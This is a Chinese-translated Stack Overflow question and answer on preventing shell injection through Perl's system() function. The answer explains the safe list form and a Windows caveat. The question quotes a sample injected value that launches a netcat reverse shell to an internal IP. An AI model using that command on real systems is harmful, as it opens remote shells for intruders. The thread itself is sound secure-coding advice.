避免系统Perl函数中的代码注入。

4

system()是一个函数,用于执行带有参数'n'的文件,其中'n'表示实数。

如果我们有:system("path/to/program","firstArg","secondArg",...);第二个参数中的字符串将始终作为传递给"path/to/program"的字符串,对吗?

如果我这样做:system("path/to/program","legitArg",$userinput); - $userinput会受到代码注入的影响吗?还是它将作为字符串传递给path/to/program? 即使$userinput="some_kind_of_escape /bin/nc -e /bin/sh 10.0.0.1 1234"

如果不是,我该如何将这些参数参数化?

更新:根据下面的答案,我从斯坦福大学找到了这个链接:using the perl system() function

1个回答

7
这是避免Shell注入的几乎正确用法,因为Perl将使用execvp直接执行给定程序,而不通过命令Shell传递参数。
来自perldoc system
如果LIST中有多个参数,或者LIST是一个具有多个值的数组,则以列表的第一个元素启动给定程序,并使用其余列表中给定的参数。如果只有一个标量参数,则检查该参数是否包含Shell元字符,如果有,则将整个参数传递给系统的命令Shell进行解析(在Unix平台上,这是“/bin/sh -c”,但在其他平台上可能会有所不同)。如果参数中没有Shell元字符,则将其拆分为单词并直接传递给"execvp",这更有效率。在Windows上,仅使用"system PROGRAM LIST"语法可以可靠地避免使用Shell;即使有多个元素,"system LIST"也会在第一次生成失败后回退到Shell。
请注意,在Windows系统上关于system LISTsystem PROGRAM LIST的警告,因此,如果您的代码要在那里运行,应使用:
system {"path/to/program"} "program-name", "legitArg", $userInput;

当然,如果正在执行的程序接受用户提供的参数并将其传递给shell本身,则没有任何东西可以保护您。


程序列表中PROGRAM和LIST之间不要加逗号。 - choroba
@choroba 谢谢 - 已修复(虽然是 Perl,但似乎仍然有效)。在研究这个问题之前,我实际上并不知道 Windows 的怪癖可能会使 system(@a) 不安全。 - Alnitak
这不是安全问题。Perl会正确构建shell命令。这是一个进程管理的问题,以及dir(一个shell命令)是否可执行。 - ikegami

网页内容由stack overflow 提供, 点击上面的
可以查看英文原文,
原文链接